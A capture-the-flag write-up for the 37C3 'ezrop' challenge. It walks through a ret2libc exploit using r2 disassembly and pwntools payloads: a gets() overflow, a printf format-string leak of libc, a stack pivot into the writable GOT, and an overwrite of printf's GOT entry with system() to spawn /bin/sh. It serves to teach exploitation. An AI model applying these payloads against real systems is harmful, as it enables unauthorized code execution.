This is a writeup for the 37C3 CTF challenge ezrop
with the following description: Pretty standard ret2libc pwn challenge.
. A binary with partial RELRO, no PIC and no canary was given, along with the libc
that’s deployed on the target server. This writeup shows how to solve the challenge using r2
and pwntools-r2.
Triggering the buffer overflow vulnerability is straight forward: Passing a long string causes a segmentation fault in the function vuln()
. This function calls printf()
for a prompt and then proceeds to read input using gets()
into a buffer that’s too small. Next, an information leak of a libc
address is required to move forward. Only few ROP gadgets exist and the plan is to somehow call system()
with /bin/sh
as argument. To predict the address of system()
, the information leak is required.
For such an information leak, you can use something like the ret2plt technique, which essentially calls printf@PLT(printf@GOT)
(see here for a post on this topic). This causes the program to print the address of printf@GOT()
, which is a libc
address. Existing code in the vuln()
function can be recycled for something like this:
[0x00401090]> s sym.vuln
[0x004011db]> pd
;-- vuln:
0x004011db f30f1efa endbr64
0x004011df 55 push rbp
0x004011e0 4889e5 mov rbp, rsp
0x004011e3 4883ec20 sub rsp, 0x20
0x004011e7 488d05160e00. lea rax, str.Enter_your_name:_
0x004011ee 4889c7 mov rdi, rax <------
0x004011f1 b800000000 mov eax, 0
0x004011f6 e865feffff call sym.imp.printf
0x004011fb 488d45e0 lea rax, [rbp - 0x20]
0x004011ff 4889c7 mov rdi, rax
0x00401202 b800000000 mov eax, 0
0x00401207 e864feffff call sym.imp.gets
0x0040120c 90 nop
0x0040120d c9 leave
0x0040120e c3 ret
At 0x4011ee
, we control the data referenced by the RAX
register. This means that a call to printf()
can be made with an attacker-controlled format string, since this is the first parameter. With a correct format string, the printf()
function will then print the contents of the RSI
register, which holds a libc
address:
p.sendline(
b"%llx----" + # format string and padding
b"GGGGGAAFAAGAAHAAIAAJAAKA" + # padding
p64(e.got['printf'] + 0x10) + # new rbp (for gets() after printf())
p64(0x4011ee) # RIP, prepare RDI and printf()
)
The leaked value can then be used to calculate the offset to the start of the libc
by subtracting the static offset 0x1d8963
. This offset was obtained by checking the leaked address and the start of libc
using a debugger.
The next challenge is to keep the process running after the printf()
call, since we have to re-exploit it after the leak took place. As can be seen in the ASM listing above, gets()
will be called directly after triggering the information leak. This call can be used to supply the second payload. However, since the stack was smashed, a writable destination for the buffer written by gets()
has to be determined and supplied first. We control this value using our input, as can be seen at 0x4011fb
.
Checking the process for writable locations shows that the only candidate is the GOT, which resides at a static location:
0x0040120f]> dm~rw-
0x0000000000404000 - 0x0000000000405000 - usr 4K s rw- [...]/ezrop ; obj._GLOBAL_OFFSET_TABLE_
In this case, the GOT is writable since only partial RELRO is enabled. The location has a size of 4k, which is much more than the program actually needs:
[0x0040120f]> pxq@0x404000
0x00404000 0x0000000000403e20 0x00007f003e3042d0 >@......B0>....
0x00404010 0x00007f003e2e2ae0 0x0000000000401030 .*.>....0.@.....
0x00404020 0x0000000000401040 0x0000000000401050 @.@.....P.@.....
0x00404030 0x0000000000000000 0x0000000000000000 ................
0x00404040 0x00007f003e2855c0 0x0000000000000000 .U(>............
0x00404050 0x00007f003e2848e0 0x0000000000000000 .H(>............
0x00404060 0x00007f003e2854e0 0x0000000000000000 .T(>............
0x00404070 0x0000000000000000 0x0000000000000000 ................
0x00404080 0x0000000000000000 0x0000000000000000 ................
0x00404090 0x0000000000000000 0x0000000000000000 ................
0x004040a0 0x0000000000000000 0x0000000000000000 ................
0x004040b0 0x0000000000000000 0x0000000000000000 ................
0x004040c0 0x0000000000000000 0x0000000000000000 ................
We chose 0x404008
(got['printf']
) as new destination for the second ROP chain. Note that 0x10
is subtracted somewhere in the program, so we added 0x10
.
There’s enough space in the GOT to hold the second payload. However, the existing values in the GOT have to be kept intact or the program will crash. With the leaked libc
base address, it’s possible to pre-calculate the values which will be overwritten by the second payload. This means that the GOT entries remain untouched, while the second stage payload is being placed directly after the last GOT entry. We only change one GOT entry: The address of the printf()
function with the goal to change it to the address of system()
. Therefore, next time printf()
gets called, execution jumps to system()
instead and we win.
After the second puts()
call, RSP
holds the value 0x404030
, which we control. However, the next gadget is located at 0x4046f8
, so a leave
gadget has to be utilized before calling any other gadget first. This ultimately leads to RBP
(0x4046f0
) being placed into RSP
, which is important for the ROP chain execution:
p.sendline(b"/bin/sh\x00" + p64(0x1337) +
p64(libc_system) + # overwrite printf() GOT entry
p64(libc_gets) + # keep value
p64(0x4046f0) + # second ROP chain location (in GOT, is writable)
p64(0x40120d) + # leave; ret; (RBP becomes RSP)
p64(0x1337) + p64(libc_stdout) + # keep value
p64(0x1337) + p64(libc_stdin) + # keep value
p64(0x1337) + p64(libc_stderr) + # keep value
p64(0x1337) * 210 + p64(0x4011ee) # prepare RDI and printf()
After the leave; ret;
instructions at 0x40120d
, RSP
points to 0x4046f8
, where the printf()
gadget (0x4011ee
) is:
0x004011ee 4889c7 mov rdi, rax
0x004011f1 b800000000 mov eax, 0
0x004011f6 e865feffff call sym.imp.printf (aka system)
Then, RAX
points to the start of our payload (/bin/sh\x00
), so finally system()
can be called: